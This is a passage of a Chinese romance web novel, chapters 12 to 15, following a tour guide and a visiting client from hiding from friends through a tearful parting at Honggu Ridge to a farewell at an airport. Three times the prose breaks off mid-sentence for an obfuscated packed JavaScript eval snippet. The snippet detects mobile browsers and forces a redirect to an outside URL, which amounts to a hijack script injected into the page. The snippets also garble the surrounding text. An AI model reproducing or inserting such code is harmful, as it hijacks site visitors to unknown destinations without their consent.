他好像变成了一只被树脂包裹住的昆虫,即将溺死在琥珀之中。 聂云驰单手撑在秋千上,微微低下了头。 李现青认真地看着他,然后轻轻闭上了眼睛。 这犹如在斗兽场吹起战斗的号角,在弥撒时看到圣母的光芒。 聂云驰得到了同意。 他朝着李现青探下身,准备去摘得这一朵开在雪山上的格桑花。 “咚咚咚” “驰哥,我知道你在房间里,你开门啊!” “我们给你带好东西回来了!” 是蔡弎他们。 聂云驰觉得自己真的快要被气笑了。 12. 第 12 章 暧昧而旖旎的氛围被门口聒噪的声音打断得一干二净。 李现青睁开颤抖的睫毛,看着聂云驰脸上的表情笑了。 “好东西。”他张嘴,用口型无声地重复门口那些人喊的话。 聂云驰无奈地靠过去,让两个人的额头相抵:“我今天是不是有一点太倒霉了。” 李现青眯着眼睛笑出一个饱满的卧蚕:“你这个月的星座运势很好的。” “星座运势有说我今天有此一劫吗?” “没有,星座运势说冥王星会在这个月离开你的星座。” “冥王星是什么?” “你可以理解为坏运气。” 聂云驰用自己的鼻尖去蹭李现青的鼻尖,小小声地说:“我们能不能假装没听到?” “不可以。”李现青轻轻推了一下他的胸膛,也小小声地说,“去开门。” 聂云驰退开身,深深地叹了一口气,站起身来。 “等一下。” 临转身前,李现青伸手拉住他的手指,平平地看着落下山去的太阳说:“我不见他们。” 顿了顿,又说:“你别让他们看见我。” 聂云驰把手指抽出来,反握住李现青的手:“为什么?” 这样显得他们两个好像在偷情。 “我不想加班。”李现青想了想,选了一个听起来很合理的答案。 向导不想在非上班时间见到自己的客人,这很正常。 聂云驰没有马上回复他,于是李现青牵着他的手晃了晃,仰头看他。 “你快说收到。” 聂云驰被他逗笑,捏了捏他的手,说:“遵命,大小姐。” “……说收到就好了。” “收到,大小姐。” “……” 李现青把手缩了回去。 还站在门外的齐源奇怪道:“驰哥这是睡了?怎么没声没息的?” 赵和远反驳道:“这个点钟就是我们三个都睡了他也不可能睡着,搁平时都还没到驰哥的晚饭时间。应该是戴耳机了没听到。” 齐源点点头,觉得有道理,决定给聂云驰打个电话。 就在他准备把号码拨出去的时候,门打开了。 聂云驰拉开门,抱臂靠在门框上:“什么事?” 但是不知道是不是齐源的错觉,他总感觉聂云驰现在的气压很低,脸色比为一个方案熬透了夜然后在补觉睡着的前一秒钟接到大老板电话,问他为什么竞品公司的人比他们早了十分钟给甲方交PPT还要糟糕。 “驰哥,你刚刚真睡着了?”齐源开始怀疑是不是被自己猜对了。 聂云驰叹气道:“没有,你们怎么过来了?” “哦哦,这边晚上有宵夜摊,我们刚刚去逛了一圈买了很多东西,晚上开个宵夜局啊!”齐源向聂云驰展示了一下大家手里拎着的大包小包。 赵和远嚷嚷道:“好了,坐着再说,快让我们先进去把东西给放了,拎了一路重死了。”说完就准备往房间里面走。 “等一下。”聂云驰单手撑到门框上,拦住了赵和远往里走的动作。 赵和远一愣,意外道:“怎么了?” 聂云驰皱着眉头想了一下,说:“我刚刚在收拾东西,房间有点乱,换个地方聚吧。” 齐源不解道:“这有啥,想什么呢,咱们兄弟之间还怕房间乱?以前我们偷摸去美国看你那会,在你那打地铺喝通宵乱搞一通你都不带二话的,我们还能嫌你不成?” 赵和远附和道:“对啊,这有啥?我们等会进去帮你一块收拾了。” “不是。是真的乱,不方便。去你们那吧。”聂云驰现在只觉得自己实在是流年不利时乖命蹇命运多舛犹如涸辙之鲋。 一直没说话的蔡弎这下倒是动了,他歪着个脑袋探头探脑地往里头边看边说:“怎么个事,咱们驰哥不会是在里面藏了什么东西怕哥几个瞧见吧?” “……” 确实藏了,但不是东西,是个容易惹炸毛的大小姐。 聂云驰自然地撑着门框换了个站姿,悄无声息地挡住蔡弎往里打量的眼神:“瞎猜什么?和远,把东西都拿去你那,我一会就到。” 齐源和赵和远也懒得纠结,点头就往自己房间走:“那你快点啊,收拾完就过来。” “好。”聂云驰回了一句。 在屋里偷听动静的李现青刚刚松了口气,就听到还站在原地的蔡弎突然问了一句。 “晚上我好像一直没看到小向导。你见到了吗?” 李现青听到聂云驰风轻云淡的回答:“你找他有事?可以群里问问他。” 蔡弎若有所思:“确实有点事找他,那我给他打个电话问问。” 坏了! 李现青紧急给自己的手机调静音,但是可惜还是晚了一步。 系统默认的电话铃声就这样从安静的房间里面传出来。 聂云驰沉默须臾,淡定地说:“是我的手机在响。” 蔡弎看着迟迟未接通的通话界面,笑了:“不是开飞行模式了?” “关掉了。”聂云驰拿过蔡弎的手机点了挂断。 “一直没接应该是在忙,你晚点再打吧。” 世界重获安静。 蔡弎看着聂云驰,良久,点点头转身:“我先去源儿他们房间了,门不锁,你等下直接过来就行。” 聂云驰应答着,关上了门。 回过头,看到李现青拿着手机蹲在阳台当蘑菇。 他走过去揉李现青的脑袋,得到了一个幽怨的眼神。 “怪我。”聂云驰觉得应该是自己的问题,并选择主动承认。 “当然怪你!”李现青很没有底气地小喊一声。 “但是我没让他们看见你。”聂云驰想还是要为自己辩驳一下。 “那怪我手机没有调静音。”李现青盯着聂云驰的良心看。 聂云驰决定放弃挣扎:“不是,还是怪我没拦住。” 这个解释李现青可以接受,他点点头,然后站起来说:“我要走了,贡央在找我。” 说完就闷着头直直往外走,等出到走廊一回头,发现聂云驰站在门口看他,见他回头,聂云驰用食指压在唇上,比了个噤声的动作,然后朝李现青挥手。 李现青看到他眼角含笑,柔和了那张锐利的弓弦。 他不敢再看,只能转身往回走,直到回到自己的房间。 李现青发现房间没有开灯,只见一片漆黑。 奇怪,贡央还没有回来吗? 李现青想着摁下总灯开关,结果被无声无息安静端坐在床上的贡央吓了一大跳。 “你怎么了?不开灯一个人在这坐着,太吓人了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389800|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”李现青感觉自己刚刚本就不慢的心跳更是一下子冲到了嗓子眼。 贡央上上下下打量着李现青,开口就问:“晚上你去哪了?” 李现青放房卡的手一顿,镇定地说:“我吃完饭去镜湖边走了走。” “你!说!谎!”贡央只觉得一阵悲从心来,他颤抖着手指向李现青,“你连外套都没穿,这个时间去镜湖边是想冻感冒吗!” 还没等李现青反应过来,贡央就继续说道:“坦白从宽,抗拒从严。你还有一次发言机会可以成为呈堂证供,请你考虑清楚再回答我。” 李现青现在能体会到刚刚聂云驰堵在门口的时候是什么心情了。 磨磨蹭蹭了一会,李现青试图重新解释:“其实我是吃完饭在餐厅里走了走。” “……”贡央直勾勾地盯着李现青,久到李现青觉得自己已经蒙混过关的时候,贡央突然说了一句:“你是不是偷偷出去谈情说爱了?” 李现青腿一软坐到了床上。 他连忙解释:“没有,什么谈情说爱啊,贡央你真的是越长大想象力越丰富了。” 怎么就谈情说爱了? 没名没分的,哪里算得上是谈情说爱? 目前看来顶多算是在偷情。 贡央双手抱胸,极其不信任地看着李现青:“是吗?” 李现青诚恳地看着他:“是的,弟弟。” 他企图唤醒贡央与自己之间的兄弟之情。 但是贡央的下一句话再次让他心跳加速—— “今天晚上,我也一直没有见到那个姓聂的。” “哪,哪个?”李现青脑子里又出现了一排小人,尖叫着开始打军体拳。 贡央用一种“装,你继续装”的眼神沉默地看着李现青。 李现青决定靠洗澡来逃避一下这个问题。 但是很快他就发现这个方法的有效时间很短。 他躺在床上想了想,觉得确实不应该瞒着贡央,于是坐起来想说点什么,结果一起身就看到贡央眼睛蹭亮地看着他。 有些话突然又说不出口了。 李现青无力地叹气:“我只是去看了一个日落。” “和谁?在哪里?为什么要单独躲开人看?” “……” “哥。”贡央放弃逼问李现青回答了,他很认真地看着李现青,说:“你知不知道,他们过几天就要走了。” 李现青这次回答得很快:“我知道。” 他一直记得,只是偶尔,很偶尔的时候,会想让自己忘记。 贡央继续说:“哥,我知道早上你为什么不让我去带队。不过那个时候我以为你心里有数,但是现在我很担心你。” 李现青低下头转手机:“我有什么好担心的?” 他看着李现青,目光清澈:“哥,你觉得他那样的人,能有几分真心?” 李现青不说话。 聂云驰对自己有真心吗?不知道。 那自己对他有真心吗?不确定。 镜湖的日出日落每天循环往复,周而复始。不远万里专程来看一眼的人多到数不清,说想一辈子住在这美景之中的也不在少数,但是没有人会真正为它留下。 爱情也一样。 贡央说:“我怕你当真。” 可是李现青想,他怕没有真心,但更怕有真心。 13. 第 13 章 聂云驰一进房间,就看到三个人齐刷刷地回头看向自己。 “怎么了?”聂云驰顺手关上门,神态自若地找了个空位坐下。 齐源开了一罐啤酒递过去,聂云驰接了放到桌子上。 “不对劲。”赵和远看着聂云驰,夸张地吸了两下鼻子:“驰哥你真的很不对劲,大晚上的又是收拾东西又是喷香水的,你怕不是中邪了,源儿你带柚子叶没有?给驰哥送点。” 聂云驰:“……” 聂云驰:“只是顺手。” 蔡弎实在没忍住,哈哈笑出声,一边笑还一边拍聂云驰的肩膀。 幸好赵和远和齐源只是觉得奇怪,开两下玩笑也就不再纠结这个话题。 蔡弎用自己的啤酒去碰聂云驰的杯,用避开另外两个人的音量说:“云驰,有些话上次我没说,是觉得你应该心里有数,用不着我提醒什么。” 聂云驰一边点点头,一边拿起手机开始回信息。 青青:[把你们豆沙了.JPG] 青青:[等着寿司吧.JPG] Zephyr:又怎么了,大小姐 青青:[杀人如麻婆豆腐.JPG] 青青:你不要回我 Zephyr:做不到 青青:你总是这样 Zephyr:大小姐,能否给卑职一个明示 青青:渣男。 Zephyr:? 自己哪句回错了? 聂云驰陷入沉思。 “又是小向导?”蔡弎见他对自己的话左耳进右耳出的样子,叹了口气,对手机那头的人也大概有了猜测。 聂云驰没有回答,但是蔡弎知道,这就算是默认了。 他想了想,和聂云驰说:“你来真的?” 聂云驰还是没有回答。 但是这次蔡弎不太确定是在默认否定,还是默认肯定。 其实或许连聂云驰自己也还没有想清楚。 他知道,李现青就像格桑山上的那一捧雪,他带不走也留不住。或许最好的办法是他远离,保持一个体面的距离去欣赏,他想骗一骗自己,到这里就很好。但是在四目相对的时刻,他看到李现青眼睛里盛满快乐和难过,也看到他眼睛里那个渺小的自己。 聂云驰会想像逗小猫一样去逗李现青,看他炸毛时生动的眉眼;会想看他冲自己闹性子,像一只张牙舞爪的小猫;会想逗他笑,看他脸颊浮现出两个小酒窝。 他骗不了自己。 他自相矛盾。 第二天上午,一行人驱车前往红谷岭。 10月底的天气,红谷岭的枫叶和红杉树已经陆续开始变色,一眼望去层林尽染,但细看仍然有些美中不足,等到了11月才是最佳观赏时期。 作为新开发不久的旅游区,红谷岭整体环境仍然比较原始,没有完整的游客中心,只有一条蜿蜒的观景公路可以穿过整片山岭,但好在主要观景区较为集中且停车便利。将车停在观景台,便可以下车在静谧林间漫步,听风吹簌簌。 李现青带着大家沿着观景公路,一路走走停停。 或许是已经经历了这么多天的行程,大家普遍都有点懒散,只慢吞吞地在红谷岭里晃悠,在山林间颇有几分闲庭信步的感觉。 当然,再休闲游拍照留恋也是必不可少。比如现在,李现青就在充当摄影师给客人们拍照。 姜兆安提议想和李现青拍一张合照:“认识这么多天还没有和小向导合影过呢!”她把李现青转个身,和自己一起面对镜头,“来,小向导,等一下,你先把你的剪刀手收回去。” 李现青把自己刚举起的一个“耶”默默收了回去。 蔡弎负责掌镜:“好了?1、2、3——” 闪光灯的光线闪过李现青的眼睛,再睁眼,发现聂云驰就站在蔡弎旁边和姜兆安一起看照片。 聂云驰抬头对上李现青的视线,还笑着说:“拍得很好看。” “哪里好看了!”姜兆安对这个说法第一个表示不同意,“蔡弎你这个构图简直就像是你看到一锅粥里混进一颗老鼠屎并拍照留念,而我就是那颗老鼠屎,整张图把我p掉都丝毫不受影响的话为什么还要把我拍进去!” 蔡弎认错,蔡弎沉默,蔡弎挨骂,蔡弎交出相机。 姜兆安越看照片越觉得无语,决定亲自示范:“你看着!” 蔡弎唯唯诺诺应是。 姜兆安看了眼取景器里给自己充当模特的李现青觉得有点空,随手一指站在旁边同样不敢说话的聂云驰:“来,驰哥你过去站小向导旁边。” 李现青眨眨眼,看到聂云驰自然地应了一声然后朝自己走近。 他下意识挪了一下位置。 “别动!”姜大摄影师阻止了他的动作:“小向导站着别动,驰哥你靠近一点,对,就这样别动,看我镜头,1、2、3——” “咔嚓。” 李现青不太确定自己是什么表情,只觉得大概不会很好看,只是在拍完后才后知后觉地发现这是他和聂云驰第一张,或许也是唯一一张合照。 突然就有些后悔。 他应该笑一下的。 可是他没办法说什么,毕竟他只是和聂云驰一起给姜兆安的“男朋友摄影必修课之红谷岭篇”充当一个一次性的模特。 偏偏聂云驰突然掏出自己的胶片相机,走过去拿给姜兆安,说了几句后又重新走回来。 “再拍一张吧,这个景挺好看的。”聂云驰解释了一句。 明明你都没有看成片。 李现青这样想着,却不打算拆穿他,只小幅度地点点头。 姜兆安拿起胶片相机,用黑漆漆的镜头对准他们两个:“再来一张哦!1、2、3——” 偏偏在李现青努力保持微笑的时候,聂云驰突然抬手轻轻揽住了李现青的肩膀,李现青被惊得下意识回头,正好对上聂云驰望过来的眼睛。 “咔嚓!” 姜兆安一愣,拿着胶片相机说:“你们怎么突然乱动啊,胶片很贵的不要这样浪费啊!” “不算浪费。”聂云驰不在意摇头,看着旁边无声用眼睛瞪着自己的李现青,心情很好地笑起来:“再补拍一张吧。” 蔡弎听了,只摇头。 姜兆安实在是不懂他:“等洗出来发现是废片你就不会这么说了。” 这一次李现青和聂云驰都站好了,恰好有一阵微风吹过,像一层面纱拂过两人脸庞,卷起衣角,几片火红的枫叶随风飘下,落到李现青的头上,坠在聂云驰的围巾,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389801|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔如油画。 “咔嚓!” 然后被胶片诚实地定格住这一秒。 会好看吗?李现青看着镜头在想。 原始的红杉树直耸入云,亭亭如盖。地上积年累月的落叶没有人工扫除的痕迹,只待用时间化为春泥。 李现青走累了,靠着一颗红杉,抬头去看树叶间自然隔开的缝隙。 接着他听到一阵“咯吱咯吱”的声音,是有人踩着一地厚实的落叶过来了。 李现青没有动,只问来人:“他们拍好啦?” “还在拍。”聂云驰伸手把那片粘在李现青头发上的枫叶摘下。 然后两个人谁也没有说话,安静地在林间待了一会,然后也不记得是谁的提议,开始在附近踩着落叶绕圈走。 周围算得上寂静,偶尔能听到几声鸟鸣,抬头可以看到它们的身影从空中掠过。 两个人并排走在林间,隔着的距离时近时远,像半空中盘旋的枫叶,还没有找到合适的位置。 李现青突然说:“红谷岭还没开发的时候,我来过一次,还捡到了一只鸟。” “小鸟?” “不,是大鸟。” 李现青回忆起那只灰扑扑的大雁,说:“那是一只要飞去南方过冬的大雁,被苍鹰啄伤了翅膀,飞不起来后躺在杉树下等死。我那天刚好跟着叔叔从红谷岭穿过,就把它带了回去。” “那个时候你多大?” “十五岁?还是十六岁?反正还小。” “我把它带去见了草原上负责给牛羊接生的老兽医,他也没有救过鸟儿,但是他有一手好本事,死马当活马医地把它给治好了。”李现青笑了起来。 聂云驰想象了一下那个画面,觉得温柔得像一个童话故事的开端,让人心软。 “那是只很亲人的鸟,一点都不怕我,甚至敢飞到我肩膀上落脚。” “它叫什么?” “我没有给它名字。”李现青摇摇头。 “一般童话故事里都是这样写的。城堡里住着一个听得懂动物语言的公主,会给每一个小动物都取一个名字。” 李现青失笑:“没有城堡,没有公主,也没有拥有名字的小动物,不过是一个没长大的小孩和一只受伤的鸟。” 聂云驰觉得李现青认真得可爱,于是继续问道:“然后呢?” “然后?南飞的鸟儿伤了翅膀就要在北方滞留,但是拥有一双健康翅膀的大雁总是要飞到南边去。它在一个起风的早晨飞走了。”李现青用手充当翅膀,模拟着起飞的动作。 聂云驰本来觉得这听起来像是一个童话故事。 不过现在他发现这或许是一个寓言故事。 所以他决定继续问下去:“那个时候你有难过吗?” “没有。”李现青还是摇头,“我知道它迟早会走的。” 聂云驰问道:“你也说过,它很喜欢你,那个时候就没有想过留下它吗?” 李现青沉默须臾,说:“想过,但是它不愿意。” 聂云驰望向他:“你没问,怎么知道它不愿意?” “因为我知道它不属于这里,它有自己要去的地方。”李现青偏过头,去看聂云驰那双薄薄的眼睛,声音淡得像一缕烟。 “你也是。” 14. 第 14 章 聂云驰停住脚步,踩在如地毯般厚实的落叶上。 他终于听到了这则寓言故事的谜底。 但是他继续问:“那你觉得,这只大雁会伤心吗?” 李现青理所当然地摇头:“不会。” 聂云驰否定他:“我觉得会。” “不会的。南边有它的家,有它的族群,可以回去他应该感到高兴。”李现青踩到了一颗石子,然后把它轻轻踢开。 聂云驰沉默地看着李现青的动作,突然问:“第二年春天你有回来红谷岭吗?” “没有。” “那它就会在那个春天感到悲伤。” 李现青一怔,停下了踢小石子的动作,抬眼去看聂云驰。 聂云驰说:“大雁是秋飞春回的动物,如果我是它,每年春天飞过红谷岭的时候,都会想起你。” 李现青觉得鼻子一酸,眼睛好像滴了眼药水,把视线模糊得快要看不清聂云驰的脸。 “不要想起我,忘了吧。”李现青眨眨眼,努力看清楚眼前的这个人,“不管是大雁还是你,都把我忘了吧。” 聂云驰沉默地和他对视,用指背去擦拭那颗悬在李现青睫毛上的眼泪。 “大雁和我忘了你,那你呢?你也会忘了大雁,和我吗?” “我会。” “可是你明明记了大雁很多年。要让它忘掉的,你要忘掉的,到底是大雁还是我?” “……你。” 或许是错觉,李现青觉得聂云驰的手在微微颤抖。 良久,聂云驰说:“青青,你很残忍。” 李现青抬臂挥开聂云驰的手:“我只是觉得,我们不能这样下去,我们总要把话说清楚。” “青青……”聂云驰还想再说什么,可是李现青打断了他。 李现青说:“聂云驰,我不知道大雁还会不会回来,但是我知道你不会回来了。你不是说,来了巴布之后经常做梦吗?那你就把这几天的这一切,都当做是一场梦吧,等到梦醒自然就会把这一切都忘了,就可以什么都不记得。” 聂云驰不解地看着李现青,不明白为什么明明对自己说着这样决绝的话语,可是又从眼睛里溢出一滴悲伤的泪水。 原来自相矛盾的不止自己一个人。 原来他们两个人都在被快乐和痛苦分割。 聂云驰努力牵出一个笑,让自己不要显得太狼狈:“是我的错。我没有体会你的处境,妄图模糊我们之间的问题,让你难过了。” 李现青觉得眼睛里的雾越来越大,水汽凝成湖泊,淌出溪流:“聂云驰,我没有怪你,只是到此为止,就到此为止吧。” “青青,你一直哭,却想让我别怪自己。”聂云驰想帮他擦眼泪,但怕他再次挥开自己的手,更怕惹得李现青更难过。 于是他问:“如果我忘了你,你会快乐一点吗?” 李现青用指甲去掐自己的虎口:“会。” 聂云驰微微低下头,藏着围巾后的半张脸看不出什么表情:“好。别哭了。” 李现青形容不出自己听到这句回答的心情,只是很多年后再想起这一天,他只记得肃杀的秋意如同风刀霜剑,记得自己把虎口掐出了一个又一个月牙,只记得自己不敢看聂云驰的眼睛,也怕聂云驰看到自己的眼睛。 他怕自己后悔。 这一次的猜字谜游戏两败俱伤,没有赢家。 红谷岭是这次行程的最后一站外景。 游完红谷岭,一行人在天黑前赶回民宿,第二天睡到自然醒后便到了这次行程的最后一天。这一天的安排给足了自由活动时间,客人们可以根据自己的时间逛玩巴布的集市,体验巴布城的市井生活,最后回到民宿,吃一顿饯别的晚宴,为明天的归家做准备。 乌日娜把饯别宴准备得很丰富,除了丰富的各色牛肉菜肴,还特意准备了人参果甜饭和青稞酒。或许是因为明天就要走了,大家都放松了些,聊天也没了顾忌,气氛格外融洽。 坐位依旧是按照之前的顺序,李现青坐在聂云驰旁边,沉默地用勺子去搅拌甜饭,眼角余光里聂云驰被齐源和赵和远劝着喝了一杯又一杯青稞酒。 “驰哥今天怎么回事?”齐源看着半垂着眼睛不说话的聂云驰,为自己大有精进的酒量感到得意,“这个度数应该不高吧?” 乌日娜听了解释道:“不高的,但是具体几度我也记不清了,但是我们这里的人都是常喝这种的。” 聂云驰摆摆手,示意自己没事。 摆手的时候碰到李现青的肩膀,李现青微微瑟缩了一下,想避开却又因为紧凑的座位安排实在避不开。 自从昨天在红谷岭说完那一通话后,这还是两个人见的头一面。 李现青却觉得好像已经过了很久。 似乎是察觉到了李现青的不自在,聂云驰又陪着齐源他们喝了几杯后,便说自己喝多了不太舒服,要提前离席。 李现青搅拌甜饭的手慢了下来,趁聂云驰起身的功夫去偷偷看他。 他或许是真的有些醉了,李现青不确定自己是不是看到他踉跄了一下。 乌日娜总觉得有点不放心,对离得近的李现青用巴布语嘱咐道:“青崽,你送他上去,要是瞧着有什么不对就喊我们。” 李现青摸摸鼻子,放下勺子应了声好,起身去扶聂云驰。 “要不我……”贡央总感觉今天晚上李现青和聂云驰之间的氛围有点奇怪,刚想主动请缨就被坐在旁边的蔡弎勾住了肩膀。 蔡弎笑眯眯地打断了他的话,说:“来,贡央小弟弟,我敬你一杯,这段时间辛苦你了。”然后一边说一边把贡央按回了座位上。 说是扶,但是李现青觉得聂云驰大概率还是清醒的,看到来人是他后,没有怎么借力,基本是靠着自己走回了房间。 可当他看到聂云驰安安静静地躺在床上的时候,心里又泛起了嘀咕。聂云驰乍一看面色如常且呼吸平稳,不像普通人喝多了之后满脸潮红、呼吸急促的样子。 这下李现青也摸不住,他轻轻拍了拍聂云驰的手臂,没有反应,就像是真的睡着了一样。 李现青叹气,托着腮坐在床边看他。 “你真的喝多睡着啦?” 聂云驰没有回答他。 也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389802|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都睡着了怎么回答他。 李现青静静地坐在那,用目光描绘聂云驰的五官,想起刚认识的时候聂云驰穿着一身黑,冷着一张脸站在机场打电话。 那个时候他就对聂云驰有一点好奇,觉得自己从没见过这样的人,像一张时刻紧绷的弓弦,光是站在他面前都会不由自主的感到紧张,但是又觉得自己好像在哪里见过他,眼熟他眼角眉梢那点疏离。 现在想想,哪里是什么似曾相识,不过是世人在文学作品里常说的一见如故,又或者说是一见钟情。 事到如今,李现青愿意承认自己当初那点刻意接近聂云驰的小心思,只是现在看来实在是好奇心害死猫。 李现青看着聂云驰叹了口气。 这个人就像一阵风,短暂的在草原逗留一阵后又要去往远方,除了被惊扰了一地的蒲公英的种子,不会在草原留下一点痕迹。 想到这,李现青突然觉得很不服气。 自己为这个男人流了泪,却什么都没从这个男人身上得到。 这是一笔赔了的大买卖。 于是李现青决定,从聂云驰身上得到一点东西,留作纪念。 什么东西好呢? 他看着聂云驰深邃而挺拔的侧脸,最后想到了一个东西。 “留一个纪念。”李现青小小声地通知了一下沉睡中的聂云驰,“你不反驳就是同意了。” 他双手撑在床垫上,慢慢地,慢慢地俯下身。 李现青要了一个聂云驰侧脸上的吻。 我们两清了。 李现青想着,准备起身离开,却不成想刚一退开,就看到聂云驰清醒而明亮的眼神。 “你怎么……”李现青愣在原地,下一秒反应过来抽身就跑。 只可惜聂云驰从床上坐了起来,一把拉住他的手肘。 聂云驰看着逃跑不成,一言不发坐在床上的李现青,问:“青青,为什么要亲我?” “谁亲你了,是你又做梦了,没有人亲你。”李现青嘴硬,瞪大了一双琉璃珠般的眼睛,像受惊的猫般张牙舞爪。 “所以我又要忘记?” “对。” 聂云驰气笑了:“那就是真的,不然为什么要忘记?” 李现青沉默。 聂云驰本就只有五分微醺的脑子,现在比自己第一次做IPO还要清醒:“我后悔了。我们之间,不能到此为止。” 李现青不敢相信自己的耳朵,难以置信地看着聂云驰:“你怎么出尔反尔?” “或者说,”聂云驰补充了一句,“我从一开始就准备阳奉阴违。” 李现青只觉得自己脑子短路了,不然为什么会无法理解这句话。 “那你昨天为什么要答应我?” “因为你在哭。” 如果他的喜欢对李现青来说是一件会流泪的事情,那么聂云驰会选择放弃。 但是现在,聂云驰手腕稍稍用力,将李现青拉向自己:“青青,就算我做了一百场梦,醒来我也还是会记得你。” 那天晚上在格桑山点燃的烟花,再一次在李现青的胸腔敲起了鼓点。 15. 第 15 章 李现青沉默良久,僵直的背部慢慢变成一个放松的弧度。 “你骗人。”李现青在较真聂云驰话里的意思,“哪有人会做一百个相同的梦的。” 聂云驰乐得陪他分析情话:“是每次做梦都会想起你的意思。” “哦。”李现青觉得有点不满意:“不做梦的时候就不想是吗。” 聂云驰马上回答:“做梦的时候想一次,不做梦的时候想两次,所以做一百个梦就是想了三百次。” 这听起来更像情话了。 李现青转过身子去看聂云驰:“油嘴滑舌花言巧语的渣男,我要把你拿去论坛投稿,让别人骂死你。” 聂云驰听了也不生气,只觉得李现青可爱,他好整以暇地看着李现青:“是吗,那你怎么和他们介绍我?是你的一个朋友?但是我们说好了不做朋友的。还是要说是你的男朋……” 李现青扑过去一把捂住聂云驰的嘴,他看着聂云驰因为惊讶而放大的瞳孔,说:“你是不是又在逗我?” 他松开手,长长的睫毛垂下来遮住眼睛:“你总是这样说话,我听不出哪句是真的那句是假的,我总觉得你在逗我。什么想三百次,也是哄人的鬼话,你不要把你撩人的那些套路用在我身上。” 我真的会当真。 李现青吞下最后一句话,觉得说出来有些丢人。 聂云驰也不闹他了,他顺着李现青的姿势靠在床头,然后扶着李现青的背,把他揽入怀里:“没有在逗你,都是认真的。之前逗你也只是想让你看看我,笑一笑。” 李现青放弃挣扎,靠着聂云驰的胸膛去听他有力的心跳声:“聂云驰,如果你想玩,不是非我不可。” “青青,你总不相信我。”聂云驰想了想,又说:“你可以和他们说,我是你的追求者。” 李现青错愕地抬起头看向聂云驰:“什么?” 聂云驰揉开他皱着的眉头,解释道:“不是说要去论坛挂我吗?” “不挂你。”李现青嗫喏道。 “那可以吗?”聂云驰去用鼻尖去轻撞他的额头。 李现青却讷讷地看着他,像在用眼神发问。 “可以让我追你吗?”聂云驰又问。 李现青垂下眼,然后又抬眼看他:“这个又是真话假话?” “真话。聂云驰不骗李现青。”聂云驰低头吻过李现青的发顶。 李现青埋在聂云驰怀里摇头:“还在追呢,不给亲。” 聂云驰的胸腔因为发笑而微微震动:“好,不亲,那就是同意了。” “这有什么好高兴的,你好奇怪。”李现青声音闷闷的,“你就是逗我玩的,明天就要走的人说什么追不追的,没意思。” 李现青觉得自己今天很奇怪,一颗心总是忽上忽下,一时高高飘起来像在云端,一时又自己沉沉坠下去看不到,就是不肯安稳地落在胸膛里。 聂云驰感知到了李现青心情的阴晴不定,觉得有些惆怅:“青青,我刚刚还说你总是不相信我。” “我就是不信你。就是你现在说的这句话,我也不信。”李现青扭过头去,看床头柜上聂云驰随手买的一个纪念品,是格桑山模样的小摆件。 聂云驰感受到李现青的一只耳环被压在自己胸口靠左的位置,绿松石的棱角膈得肋骨疼,但他没有说什么,只垂眼看李现青扑闪如蝶翅的睫毛。 “青青,给你念一首诗好不好?” “你念。” “……我是盲人,什么都不知道,但我预见到 道路不止一条。每一件事物 同时又是无数事物。 你是上帝展示在我失明的眼睛前的音乐、 天穹、宫殿、江河、天使、 深沉的玫瑰,隐秘而没有穷期。”① 李现青静静地听完,然后说:“文绉绉的,我听不懂。” “你信我。”聂云驰没有多做解释,他只重复道:“你信我。” 李现青退开身:“信不信,你明天都是要走的。” 他总是记得,仿佛如鲠在喉,得不到真正的心安。 大雁会秋飞春回,这是大自然的法则,不是人的。 “所以你刚刚才说,要留个东西纪念吗?”聂云驰想起那个吻发生前,李现青前在自己耳边呢喃的话语。 李现青选择不回答。 但是聂云驰却说:“青青,你总是像草原上的一场风,自由自在,无拘无束。你该信我的,因为其实一直都是我在害怕留不住你。” 片刻间,李现青突然明白了。 原来患得患失、徘徊不安的从来不是他一个人。 原来他们都认为彼此随时都会随风飘散。 只是相爱使人互生忧怖。 李现青释然地笑了。 悲欢聚散一杯酒,南北西东万里程。② 李现青将客人们接来,再将客人们送走,这是他的工作。 但是今天似乎不仅仅是工作。 X城机场建得宽敞明亮,但是再大的机场,送行的人也只能止步于安检口。 李现青原本一对的绿松石耳环变成了单只,坠在左耳上,另外一边的耳垂上换了一只小巧的银耳钉,在阳光下折射出细碎的光。 他看着聂云驰,突然发现自己曾经设想过的一番话,现在没有了用武之地。 聂云驰在回望他,目光柔和得像两人一起看过的镜湖日落。 明明两个人都没有说话,却又好像通过对视什么都说了。 是安心的,信任的,充满希望的,关于彼此的。 最终李现青很认真地说:“一路平安,聂云驰。” 聂云驰颔首:“再见,青青。” 话说到这里好像就应该转身离去,可是两个人都没有动。 聂云驰静静地看了李现青一会,突然明白过来,松开行李箱,朝着他微微张开双臂。 